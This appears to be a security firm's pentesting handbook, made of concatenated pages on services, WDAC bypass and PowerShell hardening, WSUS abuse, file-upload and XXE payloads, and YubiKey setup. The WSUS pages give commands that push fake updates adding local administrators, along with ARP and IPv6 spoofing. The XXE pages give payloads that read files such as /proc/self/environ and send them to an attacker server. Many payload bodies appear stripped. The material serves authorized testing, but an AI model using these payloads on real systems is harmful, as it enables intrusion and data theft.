### Lasttests Performance- und Stabilitätstests von Web-Applikationen unter Last, getrennt von Schwachstellensuche und vorab abgestimmt, damit es zu keinen ungewollten Auswirkungen kommt. Wir helfen euch zu verstehen, wie sich eure Anwendung unter realistischer und Spitzenlast verhält und wo Engpässe, Fehler oder Stabilitätsprobleme auftreten. Sinnvolle Ergänzung zu Security-Tests bei Anwendungen, die echtem Nutzer-Traffic standhalten müssen. ## Was wir nicht anbieten Wir sind Experten für offensive Security. Das beste Wissen in einer Domäne erfordert klaren Fokus. Deshalb bieten wir nicht an: * SOC-/SIEM-Dienste * Incident Response * ISMS-Beratung * CISO as a Service * Awareness-Schulungen Für Leistungen außerhalb unseres Scopes können wir Partner empfehlen. Wir nehmen keine Referral-Fees. ## Weitere Projekte Aus unserer täglichen Pentest-Arbeit sind zwei Produkte entstanden, die wir als eigene Services betreiben: SysReptor, unsere Plattform für Pentest-Reporting, und SysLeaks, unser Service für Data-Leak-Monitoring. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/defense-evasion/wdac-applocker.md description: >- Bypassing WDAC and concept and implementation notes for restricting PowerShell capabilities via WDAC and AppLocker. --- # WDAC & AppLocker ## Bypassing WDAC #### Reading and writing custom policies 1. Use [Syslifters/wdacparse](https://github.com/Syslifters/wdacparse) to decode `.cip` binaries under `C:\Windows\System32\CodeIntegrity\CIPolicies\Active\` into XML. 2. Review `` rules (paths, publishers, hashes), e.g. ``. If we have a signing cert or if the policies are unsigned, we can write our own ones. 1. Modify the rule you want to update to contain an exclusion. 2. From XML, generate a new binary with PowerShell `ConvertFrom-CIPolicy` (module `ConfigCI`) and copy the `.cip` to `C:\Windows\System32\CodeIntegrity\CIPolicies\Active\`. 3. Run `CiTool --update-policy "{GUID}.cip"` from that path. Confirm with `CiTool.exe -lp`. ## Concept for restricting PowerShell capabilities Goal: restrict Microsoft PowerShell functionality on Windows clients and servers to reduce risk in case a Windows device is compromised. Feasibility and practicality must be validated in a real rollout test before broad deployment. ## Measures Apply the following measures on all Windows clients and servers: * Enable **Constrained Language Mode** via a WDAC policy. * This restricts sensitive PowerShell features, making post-compromise privilege escalation harder from within a PowerShell session. * Set **Script Execution Policy** to **AllSigned**. * All scripts intended for execution must be signed. * Note: this policy is easy to bypass and mainly prevents accidental execution of unsanctioned scripts. * Enable **Script Block Logging** and **Protected Event Logging**. * PowerShell commands are logged and protected via encrypted logging (requires decryption on a central log collector; if that doesn’t exist, Protected Event Logging can be skipped). * Updates * Ensure PowerShell version (>= 5) is installed. * Disable PowerShell version 2 * PowerShell v2 lacks key security features such as Constrained Language Mode and can be used to bypass controls. * PowerShell v3 and v4 can’t be started if PowerShell (>= 5) is installed, so no extra action is required for those versions. * Antivirus * Ensure scripts executed via PowerShell (including in-memory) are detected and blocked by AV. ## Implementation notes > [More information](https://diecknet.de/en/2023/05/20/powershell-constrainedlanguage-mode-per-gpo/) regarding Constrained Language Mode. * Roll out WDAC (system requirement: Windows 10/11, Windows Server 2016+) * Prepare a WDAC policy (e.g. "AllowAll.xml") in **Audit Mode**. * Keep "Disable Script Enforcement" disabled so Constrained Language Mode is enabled on endpoints. * Create/edit policies with the WDAC Policy Wizard: * Convert XML policy to binary per WDAC deployment docs. * Deploy via script (GPO rollout has known issues and supports only single-policy formats). * Deployment reference: * Audit Mode initially does not enforce; it logs what would have been blocked. After rollout, analyze which scripts/apps would break. * Sign scripts to allow execution in Full Language Mode * Signed scripts can still run in Full Language Mode. * Sign with a timestamp server so signatures remain trustworthy after the code signing cert expires (avoid availability risk). * Deploy the CA certificate and code signing certificate to all clients and servers. * Roll out PowerShell v5 and disable PowerShell v2 (if not already done). * Enable antivirus (if not already done). * Use GPO settings for: * Script Block Logging (to analyze PowerShell usage). * Execution policy AllSigned (ensure necessary scripts are signed; remember signed scripts run in Full Language Mode). * Protected Event Logging (optional; roll out a public key for log encryption; do this last to simplify troubleshooting). ## Regular effectiveness reviews * Perform an effectiveness review after implementation (e.g., by an external assessor). * Evaluate improvement opportunities annually and reassess settings (e.g., as part of a pentest or a dedicated review). --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/websocket-hijacking.md description: >- WebSockets bypass some expectations of SOP; validate Origin and authenticate the channel. --- # WebSocket hijacking (origin/SOP note) If an application uses WebSockets, you must test WebSocket hijacking. One fundamental web security feature is the Same-Origin Policy (SOP): when you are logged in at a site and at the same time visit a malicious site, the malicious site can send authenticated requests using JavaScript on behalf of your user (which can result in CSRF-style attacks). The malicious site cannot, however, read the response because the browser prevents it. This is, however, not true for WebSocket connections: a malicious site can by default interact with (read from and write to) WebSockets. You must either authenticate the user explicitly within the WebSocket communication or prevent establishing the connection under certain circumstances (e.g., based on the `Origin` header). Prevention is more difficult because you can only establish WebSockets using `GET` and you cannot set custom HTTP headers from browsers. --- --- url: 'https://handbook.syslifters.com/what-we-provide.md' description: >- Overview of Syslifters offensive security services, our efficient pentesting approach, and services we do not offer. --- # What we provide We provide offensive security services to customers in the DACH region and beyond. Our specialisations are internal enterprise networks (Active Directory, Entra ID and Azure cloud), external infrastructure and web security. With this clear focus we help you find and fix real risks. We work efficiently (and keep your costs down) with a grey-to-white-box approach, a clear time box, and, where it makes sense, agreed leg-ups such as an assumed-breach starting point instead of lengthy and costly covert end-to-end campaigns. ## Services we offer * [Assumed breach assessments](#assumed-breach-assessments) * [Active Directory pentests](#active-directory-pentests) * [Entra ID and Azure cloud assessments](#entra-id-and-azure-cloud-assessments) * [External infrastructure pentests](#external-infrastructure-pentests) * [Web application pentests](#web-application-pentests) * [Attack detection & response tests](#attack-detection-response-tests) * [Password analysis](#password-analysis) * [Load tests](#load-tests) ### Assumed breach assessments Tests from a starting point where an attacker might already be inside, for example a standard domain user, a compromised workstation, or an agreed internal foothold. The initial compromise phase is out of scope. From there we work towards the goals agreed for the scope, for example reaching domain admin, accessing a defined target system, or exfiltrating specific data. On request we can align techniques with known threat actor TTPs. ### Active Directory pentests Pentests of on-prem and hybrid Active Directory environments. We look at the attack paths and misconfigurations that ransomware actors and attackers with an existing foothold (for example a compromised workstation or device) typically exploit. The outcome is a clear picture of how an attack would propagate from a single endpoint to your most sensitive systems. ### Entra ID and Azure cloud assessments Identity and configuration review of Microsoft Entra ID and Azure, including hybrid scenarios where Entra ID and on-prem AD intersect. We assess identity risk, access policies and the attack paths between cloud and on-premises identities that real attackers use to move laterally and escalate privileges. The result shows how a compromised cloud account could affect your on-prem environment, and the other way around. ### External infrastructure pentests Pentests of your external attack surface: exposed services, patching gaps, misconfigurations and paths into your environment. Often combined with Active Directory or Entra ID work for a full external-to-internal picture, so you see not only what is reachable from the internet but also where it leads inside. ### Web application pentests Manual pentests of web applications and APIs, following common best practices such as the OWASP Testing Guide. We test at least grey-box with authenticated access and can extend to white-box with source code review when useful. Coverage focuses on findings that affect your specific risk model, including business logic, authentication and authorization, data handling and relevant integrations. ### Attack detection & response tests Realistic attack techniques executed in your environment, so you can evaluate whether your SOC, SIEM and response processes detect and handle them. We coordinate closely with your blue team and report on which techniques were noticed, which were missed, and where detection rules could be tuned. The result is concrete, technique-level feedback for your detection engineering. ### Password analysis Analysis of password hygiene, for example in Active Directory: weak passwords, common patterns, reuse and policy gaps. A focused, low-effort way to surface accounts and policies that need attention. Useful before or alongside a pentest, since weak credentials are still one of the most common starting points for real attacks. ### Load tests Performance and stability tests of web applications under load, scoped separately from vulnerability testing and agreed in advance to avoid unintended impact. We help you understand how your application behaves under realistic and peak load, and where bottlenecks, errors or stability issues appear. A useful complement to security testing for applications that have to survive real user traffic. ## What we don't provide We are experts in offensive security. Having the best knowledge in a domain makes focus mandatory. This is why we don't provide: * SOC/SIEM services * Incident response * ISMS consulting * CISO as a service * Awareness trainings For services outside our scope we can recommend partners. We do not take referral fees. ## Further projects Two products grew out of our daily pentest work and are run as separate services: SysReptor, our pentest reporting platform, and SysLeaks, our data leak monitoring service. --- --- url: 'https://handbook.syslifters.com/pentesting-manual/working-together.md' description: How we collaborate during pentests depending on the timebox. --- # Working together in projects Pentesting is most fun and has the best quality if pentesters work together. This is why we try to do pentests in groups (usually, 2-3 persons). This is, however, dependent on the time box available for the pentest. Small timeboxes (5 person days or less) are best done alone, from the timing perspective. If two pentesters work on a 5 person days (pds) project, time is up after 2.5pds, which covers setup, initial testing, and report writing. There is not enough time for thorough testing. We, however, run many projects with 5pds (due to reasons). This is how we try to approach the situation: One pentester has the lead, finishes up-front tasks and initial testing. On day 3 of the pentest, the lead tester onboards another pentester, who is then testing one person day together with the lead pentester. Day 4 is dedicated to reporting (done by the lead pentester). This approach might not always work in real life. If this doesn't work, one pentester can also test alone. We try plan in a way that pentesters don't have multiple projects in a row in which they must test alone. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/lateral-movement/wsus.md description: >- Abusing legitimate WSUS admin access to push SYSTEM-level code to downstream clients via SharpWSUS. --- # WSUS When we already control the WSUS server (local admin on the WSUS host, or an account with WSUS *Approver* / *Administrator* role), the legitimate update channel becomes a lateral-movement primitive: we craft an "update" that runs an arbitrary Microsoft-signed binary with a command line of our choosing, approve it for a target computer group, and the targets execute the payload as `NT AUTHORITY\SYSTEM` on their next check-in. For the related on-path / MitM scenario against an HTTP WSUS feed (no WSUS admin required), see [Privilege escalation: WSUS](/pentesting-manual/active-directory/privilege-escalation/wsus). ## Prerequisites * Admin (or equivalent WSUS role) on the WSUS server, or ability to reach the WSUS database (`SUSDB`). * The target hosts are configured to pull updates from this WSUS instance and approve on the targeted computer group. * A Microsoft-signed binary suitable as a payload (`PsExec64.exe`, `BgInfo.exe`, etc.) reachable from the WSUS server. ## SharpWSUS [SharpWSUS](https://github.com/nettitude/SharpWSUS) talks to the local WSUS service to create, approve and clean up fake updates targeted at specific downstream clients. ```cmd :: Stage the fake update SharpWSUS.exe create /payload:"C:\Tools\PsExec64.exe" ^ /args:"/accepteula /s cmd.exe /c net localgroup Administrators \ /add" ^ /title:"Security Update KB5099999" :: Approve it for a target group SharpWSUS.exe approve /updateid: /computername: /groupname:"Pentest" :: Confirm the client picked it up SharpWSUS.exe check /updateid: /computername: :: Cleanup SharpWSUS.exe delete /updateid: /computername: /groupname:"Pentest" ``` For non-English systems, target the well-known Administrators SID instead of the localised group name: ```text /accepteula /s cmd.exe /c "net localgroup S-1-5-32-544 \ /add" ``` To trigger the install immediately on the target (rather than waiting for the next scheduled poll), run from any shell on that host: ```cmd usoclient StartScan :: Windows 10/11 wuauclt /detectnow :: older Windows ``` ## Cleanup * Delete the approved update from the WSUS catalogue (`SharpWSUS.exe delete ...`). * Remove any local accounts / group memberships the payload created. * Document the WSUS admin path used (compromised account, weak ACL on `SUSDB`, etc.) so the remediation finding targets the root cause, not just the symptom. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/privilege-escalation/wsus.md description: >- Local privilege escalation by MitM-ing an HTTP WSUS feed and injecting a fake Microsoft-signed update that runs as SYSTEM. --- # WSUS If a client polls its WSUS server over plain HTTP (no TLS) we can take an on-path position between the client and the legitimate WSUS server, serve a malicious update, and have it executed as `NT AUTHORITY\SYSTEM` on the next update check. The trust boundary that WSUS relies on is the *binary signature*: Windows will refuse to install an unsigned executable, but it happily runs any Microsoft-signed binary that the WSUS metadata points at, including ones that take a `cmd.exe`-style command line (`PsExec.exe`, `BgInfo.exe`, etc.). Combined with HTTP transport, this lets a MitM ship "Microsoft-signed Sysinternals binary + arbitrary command line" as an "update". ## Identifying a vulnerable client Check the policy-pushed WSUS URL on a target host: ```cmd reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" /v WUServer reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v UseWUServer ``` The host is in scope when: * `WUServer` starts with `http://` (not `https://`). * `UseWUServer = 1`, otherwise the client falls back to Microsoft Update. If only `https://` is exposed, the attack only works with a trusted certificate (e.g. an attacker-controlled internal CA, or a misconfigured client that doesn't validate the cert). ## Getting on-path Pick whichever fits the engagement: * ARP spoofing (same broadcast domain as the target): ```bash sudo bettercap -iface eth0 -eval "set arp.spoof.targets ; arp.spoof on; set net.sniff.local true; net.sniff on" ``` * IPv6 DNS takeover with `mitm6` (Windows prefers IPv6 DNS by default), then redirect the WSUS hostname: ```bash sudo mitm6 -i eth0 -d ``` * DHCP spoofing when there is no DHCP snooping. ## Injecting the fake update with PyWSUS [PyWSUS](https://github.com/GoSecure/pywsus) is a rogue WSUS server that replies to update metadata requests with our chosen payload. ```bash git clone https://github.com/GoSecure/pywsus.git cd pywsus && python3 -m pip install -r requirements.txt sudo python3 pywsus.py \ -H 0.0.0.0 -p 8530 \ -e PsExec64.exe \ -c '/accepteula /s cmd.exe /c "net localgroup Administrators \ /add"' ``` * `-e` is the Microsoft-signed binary advertised as the update (drop `PsExec64.exe` next to `pywsus.py`). * `-c` is the command line passed to that binary. It will execute as SYSTEM. * `-p 8530` is the default WSUS HTTP port; use `8531` for HTTPS scenarios. For non-English systems use `Administratoren` / the German group name, or the well-known SID: ```text /accepteula /s cmd.exe /c "net localgroup S-1-5-32-544 \ /add" ``` ## Forcing an update check You usually don't need to wait for the scheduled poll. From any shell on the target: ```cmd :: Windows 10/11 usoclient StartScan :: older Windows wuauclt /detectnow /resetauthorization ``` PyWSUS logs the request, returns the fake update, and the client launches the payload as SYSTEM during the install phase. ## Cleanup * Stop the rogue PyWSUS, kill any ARP/IPv6 spoofing. * Remove any local accounts / group memberships added by the payload. ## See also * [Lateral movement: WSUS](../lateral-movement/wsus): abusing legitimate WSUS admin access (SharpWSUS) to push SYSTEM-level updates to downstream clients without needing a MitM position. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/file-upload/xmp-metadata-injection-png.md description: >- Embed XML/HTML payloads in PNG XMP metadata to exploit downstream processing or unsafe rendering. --- # XMP metadata injection in PNG uploads ## Introduction When a file upload endpoint: * accepts **arbitrary file extensions**, or * relies on **MIME type interpretation in server responses**, …it may be possible to exploit it by embedding malicious code into an otherwise valid file. Even if the application verifies the file content and only allows certain file types (e.g., PNG images), you can still hide arbitrary XML/HTML payloads in its metadata. One method is to inject malicious data into a PNG file via the Extensible Metadata Platform (XMP), which is based on RDF (Resource Description Framework). ### Concept * PNG images can contain XMP metadata without affecting how they render visually. * The server may process or expose this metadata when serving the image, creating opportunities for injecting code for e.g. XSS or even RCE if the image is uploaded to the webroot directory. ### Requirements You’ll need: * a base PNG file (can be a simple white image) * ExifTool for embedding payloads * optionally, a Python script (see below) if manual injection is required Example white PNG: ![Empty PNG example](/images/empty-white.png){width="auto"} ## Crafting the XMP payload Create an `.xmp` file containing your payload. ### Payload example: XSS Triggers an alert box if the uploaded image is accessed on a vulnerable endpoint. ```xml XMP with HTML literal

XSS by Syslifters

``` [`xss.xmp`](/assets/xss.xmp) ### Payload example: ASPX RCE Executes server-side code to print the current application user. ```xml XMP with HTML literal

RCE by Syslifters

<%@ Page Language="C#" %><%= System.Security.Principal.WindowsIdentity.GetCurrent().Name %> ``` [`rce.xmp`](/assets/rce.xmp) ### Payload example: ASPX webshell Executes OS commands from the URL parameter `cmd`. ```xml XMP with HTML literal

Webshell by Syslifters

<%@ Page Language="C#" %> ``` [`webshell.xmp`](/assets/webshell.xmp) ## Embedding the payload into the PNG ### Using ExifTool Embed the `.xmp` payload: ```bash exiftool -o output.png '-XMP<=webshell.xmp' input.png ``` Verify the embedded data: ```bash exiftool -v3 output.png ``` ### Manual embedding (Python script) If ExifTool is unavailable, you can inject the XMP data manually. Example: [`inject-xmp.py`](/assets/inject-xmp.py) (adapt as needed) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/file-upload/svg-xss.md description: >- SVG can embed scripts that execute when rendered; validate content and serve safely. --- # XSS via SVG file upload SVG files can contain embedded JavaScript code that executes when the image is rendered in a browser. ## Example Download as file: [`svg-document-domain-xss-34-.svg`](/assets/svg-document-domain-xss-34-.svg) ### SVG with inline script tag ```xml ``` ## More examples Find more inspirations in SVG sanitizing libraries' test cases, like: * https://github.com/Borewit/svg-sanitizer/tree/master/src/test/resources * https://raw.githubusercontent.com/darylldoyle/svg-sanitizer/refs/heads/master/tests/data/maliciousJsAndPhpTest.svg * https://github.com/cure53/DOMPurify/blob/main/test/fixtures/expect.mjs --- --- url: >- https://handbook.syslifters.com/pentesting-manual/web-applications/xxe-payloads.md description: Payloads and techniques for in-band and blind XXE testing and exfiltration. --- # XXE payloads ## Check for custom entity in response Test every data node in the request with `&xxe;` and check if `XXEVULN` appears in the response (or error message): ```xml ]> &xxe; ``` If this works, try to retrieve files via an external entity: ```xml ]> &xxe; ``` Known smaller files: * `/etc/hostname` * `/etc/lsb-release` (similar to `/etc/os-release`) Interesting files: * `/proc/self/environ` * `/proc/self/cmdline` ## Blind XXE: check remote interaction Replace `127.0.0.1` with your (or your collaborator’s) IP address or hostname. ```xml ]> &xxe; ``` You can spawn a simple HTTP server using `python3 -m http.server 8080`. Alternatively: Burp Collaborator will show DNS queries so you can see if the XXE is executed. Parameter entities may work when custom entities in the request body are blocked: ```xml %xxe; ]> ``` ## Exfiltrate files with external DTD Spawn an HTTP server using `python3 -m http.server 8080` and place the DTD with file name `malicious.dtd` there. This DTD exfiltrates `/etc/hostname` from the server file system. ```xml "> %eval; %exfiltrate; ``` Send your malicious XML to the server: ```xml %xxe; %c;]> ``` You need the external DTD to dynamically declare parameter entities within other parameter entities (not possible in internal DTD). `%exfiltrate` is only declared when `%eval` is used. Declaring it directly would fail because `%file` is only expanded after all declarations are parsed. ## Retrieve file via error message and external DTD Works when the server reports XML parser errors. External DTD `malicious.dtd` (see [Exfiltrate files with external DTD](#exfiltrate-files-with-external-dtd)): ```xml "> %eval; %error; ``` Send malicious XML to the server: ```xml %xxe;]> ``` The server won’t be able to find `/invalid/{hostname_value}` and may reveal it. ## Exploiting a local DTD (error-based) If external DTDs are blocked, it may be possible to use a DTD on the server and change an entity’s definition in the internal DTD. This loophole allows declaring encapsulated parameter entities in the internal DTD. Identify whether the DTD is present: ```xml %local_dtd; ]> ``` If you receive an error message "FileNotFound", keep testing until a DTD is found and no error message appears. Send the malicious XML to the server (replacing `/usr/share/yelp/dtd/docbookx.dtd` with the found DTD and `ISOamso` with a parameter entity in the DTD): ```xml "> %eval; %error; '> %local_dtd; ]> ``` ## Exploiting a local DTD with remote interaction If the server does not allow external DTDs and doesn't show error messages, but remote interaction is possible, exfiltrate a file. Identify local DTD (test common DTDs): ```xml %local_dtd; %remote; ]> ``` The server will send a query to `collaborator.ex` if the DTD exists. Exfiltration: Replace `/usr/share/yelp/dtd/docbookx.dtd` with the local DTD, `ISOamso` with a parameter entity in the DTD and `127.0.0.1:8080` with your IP or hostname. ```xml "> %eval; %error; '> %local_dtd; ]> ``` ## XInclude Try this if request data is processed in a server-side XML document, but the request is not in an XML format. Because the request is not in an XML format you cannot declare ``. Replace any data value in the request with: ```xml ``` Can also be combined with SSRF: ```xml productId= &storeId=1 ``` ## XXE via file upload (SVG example) ```xml ]> &xxe; ``` ## Tips Try FTP instead of HTTP if file contents include illegal characters. ## Further reading **PortSwigger Academy** * * **Extensive payload cheat sheets** * * **Local DTD discovery** * * * **Common DTDs** * Debian: * Ubuntu: --- --- url: 'https://handbook.syslifters.com/organization/human-resources/yubikey-setup.md' description: >- Setup guide for using a YubiKey for PIV/SSH (Windows) and basic GPG/SSH agent configuration. --- # YubiKey setup ## PIV ### Windows Prerequisites: * Install [OpenSC Library for PKCS11](https://github.com/OpenSC/OpenSC/releases/latest) ([Documentation](https://github.com/OpenSC/OpenSC/wiki)) * Install [Yubikey Manager CLI](https://github.com/Yubico/yubikey-manager/releases/latest) * Yubico Authenticator * Have your PIN and Management Key ready (store in Vaultwarden) * Make sure, OpenSC ignores Windows Hello (see Troubleshooting below) * Make sure, you use supported algorithms (see Troubleshooting below) *** 1. Generate a keypair (select one of the working algos: prefer `eccp384` over `rsa3072` over `rsa2048`): ``` ykman piv keys generate --touch-policy never --pin-policy once -a eccp384 9a pubkey.pem ``` 2. Create a self signed cert based on this key: ``` ykman piv certificates generate 9a pubkey.pem --subject "CN=SSH Key" --valid-days 36500 ``` 3. Retrieve your public key and add to `~/.ssh/authorized_keys` on the remote host: ``` ssh-keygen -D "C:\Program Files\OpenSC Project\OpenSC\pkcs11\opensc-pkcs11.dll" ``` 4. Connect with ssh: ``` ssh -I "C:\Program Files\OpenSC Project\OpenSC\pkcs11\opensc-pkcs11.dll" user@IP ``` 5. (Recommended) Add to your `~\.ssh\config` (create file if it doesn't exist): ``` PKCS11Provider "C:\Program Files\Yubico\Yubico PIV Tool\bin\libykcs11.dll" ``` #### Troubleshooting *** ##### Windows Hello It is possible that OpenSC recognizes "Windows Hello" as its own device, thus you extract its RSA key. To prevent this, modify `C:\Program Files\OpenSC Project\OpenSC\opensc.conf` to: ``` app default { # debug = 3; # debug_file = opensc-debug.txt; ignored_readers = "Windows Hello" ; # Ignore all readers containing "Windows Hello" } ``` To list all devices, run `& "C:\Program Files\OpenSC Project\OpenSC\tools\opensc-tool.exe" --list-readers` (PowerShell). ##### Error: signing failed for RSA "PRIV AUTH pubkey: error in libcrypto" Don't forget to touch your key, when authenticating ;). It may be possible that you use unsupported algos, such as: * rsa4096 * ed25519 * x25519 (failed on certificate creation) Known working algos are: * rsa1024 (probably, pls. don't use) * rsa2048 (default) * rsa3072 * eccp384 (sign-only, no de/encryption, prefer this for ssh) #### Agent forwarding You can forward the YubiKey's authentication capabilities to the remote server, so that you can use this server as a jump host to another remote destination.\ A classic example is developing on a remote machine and using SSH to push the changes to GitLab. You must set your `pin-policy` to `once` (not `always`). You cannot change this setting after key creation (you must create new keys). To enable agent forwarding you must load your SSH the key into your agent using: ```powershell ssh-add -s "C:\Program Files\Yubico\Yubico PIV Tool\bin\libykcs11.dll" ``` You can check if this was successfull using `ssh-add -L` and, if necessary, clear the key using `ssh-add -D`. Your client must know to which remote hosts it should forward the agent. Use `ssh -A user@ip` to forward the agent. You can optionally add `ForwardAgent yes` to your `~\.ssh\config`, e.g.: ``` Host alias1 alias2 HostName HostOrIp PKCS11Provider "C:\Program Files\OpenSC Project\OpenSC\pkcs11\opensc-pkcs11.dll" User username ForwardAgent yes ``` ::: warning Don't forward the agent to all destinations. Only to destinations where needed. ::: Now the remote host also needs to accept your forwarded agent. Add `AllowAgentForwarding yes` to `/etc/ssh/sshd_config` on the remote host. Reconnect and check if the agent was forwarded: ```bash ssh-add -L ssh-rsa AAAAB... ``` Your agent was forwarded successfully. You can now connect to other destinations from there. 🍵 ### Linux TODO\ See also: [YubiKey SSH guide](https://github.com/pavel-odintsov/yubikey-ssh) ## GPG Setup only. ``` sudo apt update sudo apt install -y \ gnupg2 \ gnupg-agent \ scdaemon \ pcscd \ pcsc-tools \ yubikey-personalization sudo systemctl enable --now pcscd ~/.gnupg/gpg-agent.conf enable-ssh-support default-cache-ttl 600 max-cache-ttl 7200 pinentry-program /usr/bin/pinentry-gnome3 gpgconf --kill gpg-agent in .bashrc /.zshrc export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket) gpgconf --launch gpg-agent ``` Certificate creation: TODO